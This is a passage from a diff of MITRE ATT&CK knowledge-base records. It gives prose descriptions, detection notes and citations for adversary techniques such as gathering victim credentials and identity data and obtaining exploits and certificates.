I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."", 'url': 'https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/'}, {'source_name': 'Register Uber', 'description': 'McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.', 'url': 'https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/'}, {'source_name': 'Detectify Slack Tokens', 'description': 'Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.', 'url': 'https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/'}, {'source_name': 'Forbes GitHub Creds', 'description': 'Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.', 'url': 'https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196'}, {'source_name': 'GitHub truffleHog', 'description': 'Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.', 'url': 'https://github.com/dxa4481/truffleHog'}, {'source_name': 'GitHub Gitrob', 'description': 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.', 'url': 'https://github.com/michenriksen/gitrob'}, {'source_name': 'CNET Leaks', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/'}]",1.0,attack-pattern,attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T14:55:43.815Z,2021-04-15T03:26:44.352Z,Credentials,"Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. -Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161,attack-pattern,['reconnaissance'],2021-04-15T03:26:44.352Z,2020-10-02T14:55:43.815Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",['reconnaissance'],https://attack.mitre.org/techniques/T1589/001,mitre-attack,T1589.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vinayak Wadhwa, Lucideus', 'Lee Christensen, SpecterOps', 'Toby Kohlenberg']",,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,"['Vinayak Wadhwa, Lucideus', 'Lee Christensen, SpecterOps', 'Toby Kohlenberg']",,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1589', 'url': 'https://attack.mitre.org/techniques/T1589'}, {'source_name': 'OPM Leak', 'url': 'https://www.opm.gov/cybersecurity/cybersecurity-incidents/', 'description': 'Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.'}, {'source_name': 'Register Deloitte', 'url': 'https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/', 'description': ""Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.""}, {'source_name': 'Register Uber', 'url': 'https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/', 'description': 'McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.'}, {'source_name': 'Detectify Slack Tokens', 'url': 'https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/', 'description': 'Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.'}, {'source_name': 'Forbes GitHub Creds', 'url': 'https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196', 'description': 'Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.'}, {'source_name': 'GitHub truffleHog', 'url': 'https://github.com/dxa4481/truffleHog', 'description': 'Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.'}, {'source_name': 'GitHub Gitrob', 'url': 'https://github.com/michenriksen/gitrob', 'description': 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.'}, {'source_name': 'CNET Leaks', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,False,https://attack.mitre.org/techniques/T1589,mitre-attack,T1589,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Gather Victim Identity Information,"Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1589', 'external_id': 'T1589'}, {'source_name': 'OPM Leak', 'description': 'Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020.', 'url': 'https://www.opm.gov/cybersecurity/cybersecurity-incidents/'}, {'source_name': 'Register Deloitte', 'description': ""Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."", 'url': 'https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/'}, {'source_name': 'Register Uber', 'description': 'McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.', 'url': 'https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/'}, {'source_name': 'Detectify Slack Tokens', 'description': 'Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020.', 'url': 'https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/'}, {'source_name': 'Forbes GitHub Creds', 'description': 'Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.', 'url': 'https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196'}, {'source_name': 'GitHub truffleHog', 'description': 'Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.', 'url': 'https://github.com/dxa4481/truffleHog'}, {'source_name': 'GitHub Gitrob', 'description': 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.', 'url': 'https://github.com/michenriksen/gitrob'}, {'source_name': 'CNET Leaks', 'description': 'Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.', 'url': 'https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/'}]",1.0,attack-pattern,attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T14:54:59.263Z,2021-04-15T03:27:49.579Z,Gather Victim Identity Information,"Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4,attack-pattern,['reconnaissance'],2021-04-15T03:27:49.579Z,2020-10-02T14:54:59.263Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",['reconnaissance'],https://attack.mitre.org/techniques/T1589,mitre-attack,T1589,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1588.005', 'url': 'https://attack.mitre.org/techniques/T1588/005'}, {'source_name': 'Exploit Database', 'url': 'https://www.exploit-db.com/', 'description': 'Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.'}, {'source_name': 'TempertonDarkHotel', 'description': 'Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.', 'url': 'https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage'}, {'source_name': 'NationsBuying', 'description': 'Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', 'url': 'https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'}, {'url': 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/', 'description': 'Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.', 'source_name': 'PegasusCitizenLab'}, {'source_name': 'Wired SandCat Oct 2019', 'url': 'https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec', 'description': 'Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1588/005,mitre-attack,T1588.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploits,"Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/005', 'external_id': 'T1588.005'}, {'source_name': 'Exploit Database', 'description': 'Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.', 'url': 'https://www.exploit-db.com/'}, {'source_name': 'TempertonDarkHotel', 'description': 'Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.', 'url': 'https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage'}, {'source_name': 'NationsBuying', 'description': 'Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.', 'url': 'https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html'}, {'source_name': 'PegasusCitizenLab', 'description': 'Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.', 'url': 'https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/'}, {'source_name': 'Wired SandCat Oct 2019', 'description': 'Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.', 'url': 'https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec'}]",1.0,attack-pattern,attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:17:46.086Z,2021-04-15T03:14:01.255Z,Exploits,"Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying) In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel) An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. -Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636,attack-pattern,['resource-development'],2021-04-15T03:14:01.255Z,2020-10-01T02:17:46.086Z," -Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1588.004', 'url': 'https://attack.mitre.org/techniques/T1588/004'}, {'description': 'Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', 'source_name': 'DiginotarCompromise', 'url': 'https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/'}, {'source_name': ""Let's Encrypt FAQ"", 'url': 'https://letsencrypt.org/docs/faq/', 'description': ""Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.""}, {'source_name': 'Splunk Kovar Certificates 2017', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.'}, {'source_name': 'Recorded Future Beacon Certificates', 'url': 'https://www.recordedfuture.com/cobalt-strike-servers/', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.1,True,https://attack.mitre.org/techniques/T1588/004,mitre-attack,T1588.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Digital Certificates,"Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. +Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",['resource-development'],https://attack.mitre.org/techniques/T1588/005,mitre-attack,T1588.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,," +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/004', 'external_id': 'T1588.004'}, {'source_name': 'DiginotarCompromise', 'description': 'Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.', 'url': 'https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/'}, {'source_name': ""Let's Encrypt FAQ"", 'description': ""Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020."", 'url': 'https://letsencrypt.org/docs/faq/'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}, {'source_name': 'Recorded Future Beacon Certificates', 'description': 'Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020.', 'url': 'https://www.recordedfuture.com/cobalt-strike-servers/'}]",1.2,attack-pattern,attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:14:18.044Z,2021-10-16T17:44:09.486Z,Digital Certificates,"Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. -Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. +Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) -After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421,attack-pattern,['resource-development'],2021-04-15T02:32:49.507Z,2020-10-01T02:14:18.044Z,"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) +After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",['resource-development'],https://attack.mitre.org/techniques/T1588/004,mitre-attack,T1588.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Certificate: Certificate Registration', 'Internet Scan: Response Content']",,"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) + +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1588/003', 'external_id': 'T1588.003'}, {'source_name': 'Wikipedia Code Signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'url': 'https://en.wikipedia.org/wiki/Code_signing'}]",1.1,attack-pattern,attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T02:11:47.237Z,2021-10-17T16:19:50.018Z,Code Signing Certificates,"Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. -Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1588.003', 'url': 'https://attack.mitre.org/techniques/T1588/003'}, {'url': 'https://en.wikipedia.org/wiki/Code_signing', 'description': 'Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.', 'source_name': 'Wikipedia Code Signing'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1588/003,mitre-attack,T1588.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Code Signing Certificates,"Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. +Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.",['resource-development'],https://attack.mitre.org/techniques/T1588/003,mitre-attack,T1588.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Malware Repository: Malware Metadata'],,"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. -Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.",attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15,attack-pattern,['resource-development'],2021-04-15T03:13:16.259Z,2020-10-01T02:11:47.237Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root 